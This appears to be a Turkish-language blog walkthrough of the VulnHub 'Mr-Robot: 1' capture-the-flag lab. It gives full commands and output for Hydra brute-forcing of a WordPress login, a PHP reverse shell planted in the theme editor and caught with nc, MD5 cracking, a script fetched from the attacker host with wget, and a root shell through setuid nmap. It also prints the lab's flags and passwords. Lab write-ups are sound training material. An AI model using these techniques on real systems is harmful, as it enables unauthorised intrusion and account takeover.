Makine Hakkında Bilgiler
Açıklama:
The VM isn't too difficult. There isn't any advanced exploitation or reverse engineering. The level is considered beginner-intermediate.
Vulnhub Sayfası:
https://www.vulnhub.com/entry/mr-robot-1,151/
İndirme Sayfası: https://download.vulnhub.com/mrrobot/mrRobot.ova
Walkthrough
Makinenin ip adresini tespit edelim.
┌──(root💀kali)-[/home/kali/oscp]
└─# ifconfig eth0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.0.16 netmask 255.255.255.0 broadcast 192.168.0.255
inet6 fe80::a00:27ff:fea6:1f86 prefixlen 64 scopeid 0x20<link>
ether 08:00:27:a6:1f:86 txqueuelen 1000 (Ethernet)
RX packets 4456 bytes 5246213 (5.0 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 5225 bytes 365797 (357.2 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
┌──(root💀kali)-[/home/kali/oscp]
└─# arp-scan -l | grep 08:00:27:e5:7c:6b
192.168.0.20 08:00:27:e5:7c:6b PCS Systemtechnik GmbHnmap taraması ile devam edelim.
┌──(root💀kali)-[/home/kali/oscp]
└─# nmap -A -T4 192.168.0.20
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-05 10:18 EDT
Nmap scan report for 192.168.0.20
Host is up (0.0010s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
443/tcp open ssl/http Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after: 2025-09-13T10:45:03
MAC Address: 08:00:27:E5:7C:6B (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 1.00 ms 192.168.0.20
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.98 seconds
CTF tarzında bir makine ile karşı karşıyayız. Nikto çıktısında robots.txt olduğunu gördüm ve bu linke gittiğimde 1. flagi yakaladım.
http://192.168.0.20/robots.txt:
User-agent: *
fsocity.dic
key-1-of-3.txthttp://192.168.0.20/key-1-of-3.txt:073403c8a58a1f80d943455fb30724b9Dirb taramasında license linki buldum. (http://192.168.0.20/license)
WordPress - Web publishing software
Copyright 2018 by the contributors
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.Bir wordpress sayfası var ve istediğimiz kadar login sayfasında deneme yapabildiğimizi farkettim. Bunun üstüne kullanıcı adı tahmininde bulunmay denedim. CTF tarzında bir makine olduğundan dolayı robots.txt sayfasında olan fsocity.dic dosyasını kullandım. Ancak dosya üzerinde ilk başta sadeleştirme işlemleri gerçekleştirdim.
┌──(root💀kali)-[/home/kali/oscp/mrroboy]
└─# wc fsocity.dic
858160 858160 7245381 fsocity.dic
┌──(root💀kali)-[/home/kali/oscp/mrroboy]
└─# sort fsocity.dic >> fsocity.dic2
┌──(root💀kali)-[/home/kali/oscp/mrroboy]
└─# uniq fsocity.dic2 >> wordlist
┌──(root💀kali)-[/home/kali/oscp/mrroboy]
└─# wc wordlist
11451 11451 96747 wordlist858160 satırdan 11451 satıra düşürdük. Şimdi hydra ile saldıralım.
┌──(root💀kali)-[/home/kali/oscp/mrroboy]
└─# hydra -L wordlist -p kuday 192.168.0.20 http-post-form '/wp-login.php?action=lostpassword:user_login=^USER^&redirect_to=&wp-submit=Get+New+Password:F=Invalid username' -t 8
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-06-05 11:35:39
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 8 tasks per 1 server, overall 8 tasks, 11452 login tries (l:11452/p:1), ~1432 tries per task
[DATA] attacking http-post-form://192.168.0.20:80/wp-login.php?action=lostpassword:user_login=^USER^&redirect_to=&wp-submit=Get+New+Password:F=Invalid username
[STATUS] 566.00 tries/min, 566 tries in 00:01h, 10886 to do in 00:20h, 8 active
[STATUS] 571.00 tries/min, 1713 tries in 00:03h, 9739 to do in 00:18h, 8 active
[STATUS] 546.00 tries/min, 3822 tries in 00:07h, 7630 to do in 00:14h, 8 active
[80][http-post-form] host: 192.168.0.20 login: elliot password: kuday
[80][http-post-form] host: 192.168.0.20 login: Elliot password: kuday
[80][http-post-form] host: 192.168.0.20 login: ELLIOT password: kuday
[STATUS] 531.33 tries/min, 6376 tries in 00:12h, 5076 to do in 00:10h, 8 active
[STATUS] 487.00 tries/min, 8279 tries in 00:17h, 3173 to do in 00:07h, 8 active
[STATUS] 440.55 tries/min, 9692 tries in 00:22h, 1760 to do in 00:04h, 8 active
[STATUS] 410.56 tries/min, 11085 tries in 00:27h, 367 to do in 00:01h, 8 active
[STATUS] 405.71 tries/min, 11360 tries in 00:28h, 92 to do in 00:01h, 8 active
1 of 1 target successfully completed, 3 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-06-05 12:04:09Evet kullanıcı adı tespitinde bulunduk. Şimdi parola tespitinde bulunmayı deneyelim. Yine aynı wordlist'i kullandım.
┌──(root💀kali)-[/home/kali/oscp/mrroboy]
└─# hydra -l elliot -P wordlist 192.168.0.20 http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.0.20%2Fwp-admin%2F&testcookie=1:F=The password you entered' -t 8
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-06-05 11:49:24
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 8 tasks per 1 server, overall 8 tasks, 11452 login tries (l:1/p:11452), ~1432 tries per task
[DATA] attacking http-post-form://192.168.0.20:80/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.0.20%2Fwp-admin%2F&testcookie=1:F=The password you entered
[STATUS] 276.00 tries/min, 276 tries in 00:01h, 11176 to do in 00:41h, 8 active
[STATUS] 268.67 tries/min, 806 tries in 00:03h, 10646 to do in 00:40h, 8 active
[STATUS] 267.71 tries/min, 1874 tries in 00:07h, 9578 to do in 00:36h, 8 active
[STATUS] 272.00 tries/min, 4080 tries in 00:15h, 7372 to do in 00:28h, 8 active
[80][http-post-form] host: 192.168.0.20 login: elliot password: ER28-0652
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-06-05 12:07:59Harika, dashboarda bağlandık. Dosyalar üzerinde yazma hakkımızda bulunyor. Bunun üzerine hemen https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php adresindeki reverse shel'i istediğimiz gibi değiştirip nc aracılığı ile reverse shell alalım. http://192.168.0.20/wp-admin/theme-editor.php?file=404.php&theme=twentyfifteen 404 sayfasına reverse shell'i yükledim ve tarayıcıdan tetiklediğimde reverse shell'i aldım.
┌──(root💀kali)-[/home/kali/oscp/mrroboy]
└─# nc -lvp 1822
listening on [any] 1822 ...
pwd
192.168.0.20: inverse host lookup failed: Unknown host
connect to [192.168.0.16] from (UNKNOWN) [192.168.0.20] 39569
Linux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
16:12:13 up 2:06, 0 users, load average: 1.19, 2.93, 4.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=1(daemon) gid=1(daemon) groups=1(daemon)
/bin/sh: 0: can't access tty; job control turned off
$ /
$ pwd
/
$ whoami
daemon
$ İçeride gezindikten sonra 2. bayrağı yakaladım.
$ ls -al
total 16
drwxr-xr-x 2 root root 4096 Nov 13 2015 .
drwxr-xr-x 3 root root 4096 Nov 13 2015 ..
-r-------- 1 robot robot 33 Nov 13 2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot 39 Nov 13 2015 password.raw-md5
$ cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13brobot kullanaıcısının hash'ini john aracılığı ile kırdım.
┌──(root💀kali)-[/home/kali/oscp/mrroboy]
└─# john password --format=Raw-MD5 --rules --wordlist=wordlist
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
abcdefghijklmnopqrstuvwxyz (robot)
1g 0:00:00:00 DONE (2021-06-05 12:15) 25.00g/s 307200p/s 307200c/s 307200C/s 3dtt..bates
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed
Şimdi robot kullanıcısına geçiş yapalım.
$ su robot
su: must be run from a terminal
$ cat /etc/passwd | grep robot
robot:x:1002:1002::/home/robot:
$
$ python -c 'import pty; pty.spawn("/bin/sh")'
$
$ su robot
su robot
Password: abcdefghijklmnopqrstuvwxyz
robot@linux:~$ whoami
whoami
robot
robot@linux:~$ ls
ls
key-2-of-3.txt password.raw-md5
robot@linux:~$ cat key-2-of-3.txt
cat key-2-of-3.txt
822c73956184f694993bede3eb39f959Herzaman kullandığım lse enum scripti ile içeride tarma yaptım. Bu scripti github hesabıda bulabilirsiniz.
robot@linux:/tmp$ pwd
pwd
/tmp
robot@linux:/tmp$ wget http://192.168.0.16:8000/lse.sh
wget http://192.168.0.16:8000/lse.sh
--2021-06-06 09:26:06-- http://192.168.0.16:8000/lse.sh
Connecting to 192.168.0.16:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 41177 (40K) [text/x-sh]
Saving to: ‘lse.sh’
100%[======================================>] 41,177 --.-K/s in 0s
2021-06-06 09:26:06 (86.8 MB/s) - ‘lse.sh’ saved [41177/41177]
robot@linux:/tmp$
robot@linux:/tmp$
robot@linux:/tmp$ chmod 777 lse.sh
chmod 777 lse.sh
robot@linux:/tmp$
robot@linux:/tmp$
robot@linux:/tmp$ ./lse.sh -l2 >> result
./lse.sh -l2 >> result
If you know the current user password, write it here to check sudo privileges: abcdefghijklmnopqrstuvwxyz
abcdefghijklmnopqrstuvwxyz
---
--More--(6%)
[*] fst010 Binaries with setuid bit.....................--More--(6%)
................... yes!
--More--(6%)
---
--More--(6%)
/bin/ping
--More--(6%)
/bin/umount
--More--(6%)
/bin/mount
--More--(6%)
/bin/ping6
--More--(6%)
/bin/su
--More--(6%)
/usr/bin/passwd
--More--(6%)
/usr/bin/newgrp
--More--(6%)
/usr/bin/chsh
--More--(6%)
/usr/bin/chfn
--More--(6%)
/usr/bin/gpasswd
--More--(6%)
/usr/bin/sudo
--More--(6%)
/usr/local/bin/nmap
[!] fst020 Uncommon setuid binaries.....................--More--(7%)
................... yes!
--More--(7%)
---
--More--(7%)
/usr/local/bin/nmap
--More--(7%)
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
--More--(7%)
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
--More--(7%)
---
--More--(7%)nmap aracının setuid flaginin olduğunu tespit ettik...
robot@linux:/tmp$ which nmap
which nmap
/usr/local/bin/nmap
robot@linux:/tmp$ nmap
nmap
Nmap 3.81 Usage: nmap [Scan Type(s)] [Options] <host or net list>
Some Common Scan Types ('*' options require root privileges)
* -sS TCP SYN stealth port scan (default if privileged (root))
-sT TCP connect() port scan (default for unprivileged users)
* -sU UDP port scan
-sP ping scan (Find any reachable machines)
* -sF,-sX,-sN Stealth FIN, Xmas, or Null scan (experts only)
-sV Version scan probes open ports determining service & app names/versions
-sR RPC scan (use with other scan types)
Some Common Options (none are required, most can be combined):
* -O Use TCP/IP fingerprinting to guess remote operating system
-p <range> ports to scan. Example range: 1-1024,1080,6666,31337
-F Only scans ports listed in nmap-services
-v Verbose. Its use is recommended. Use twice for greater effect.
-P0 Don't ping hosts (needed to scan www.microsoft.com and others)
* -Ddecoy_host1,decoy2[,...] Hide scan using many decoys
-6 scans via IPv6 rather than IPv4
-T <Paranoid|Sneaky|Polite|Normal|Aggressive|Insane> General timing policy
-n/-R Never do DNS resolution/Always resolve [default: sometimes resolve]
-oN/-oX/-oG <logfile> Output normal/XML/grepable scan logs to <logfile>
-iL <inputfile> Get targets from file; Use '-' for stdin
* -S <your_IP>/-e <devicename> Specify source address or network interface
--interactive Go into interactive mode (then press h for help)
Example: nmap -v -sS -O www.my.com 192.168.0.0/16 '192.88-90.*.*'
SEE THE MAN PAGE FOR MANY MORE OPTIONS, DESCRIPTIONS, AND EXAMPLES
robot@linux:/tmp$
robot@linux:/tmp$
robot@linux:/tmp$
robot@linux:/tmp$ nmap --interactive
nmap --interactive
Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> h
h
Nmap Interactive Commands:
n <nmap args> -- executes an nmap scan using the arguments given and
waits for nmap to finish. Results are printed to the
screen (of course you can still use file output commands).
! <command> -- runs shell command given in the foreground
x -- Exit Nmap
f [--spoof <fakeargs>] [--nmap_path <path>] <nmap args>
-- Executes nmap in the background (results are NOT
printed to the screen). You should generally specify a
file for results (with -oX, -oG, or -oN). If you specify
fakeargs with --spoof, Nmap will try to make those
appear in ps listings. If you wish to execute a special
version of Nmap, specify --nmap_path.
n -h -- Obtain help with Nmap syntax
h -- Prints this help screen.
Examples:
n -sS -O -v example.com/24
f --spoof "/usr/local/bin/pico -z hello.c" -sS -oN e.log example.com/24
nmap> ! /bin/sh
! /bin/sh
# whoami
whoami
rootHarika, şimdi son bayrağı okuyalım.
# cd /root
cd /root
#
# ls
ls
firstboot_done key-3-of-3.txt
# cat key-3-of-3.txt
cat key-3-of-3.txt
04787ddef27c3dee1ee161b21670b4e4
İlk Yorumu Siz Yapın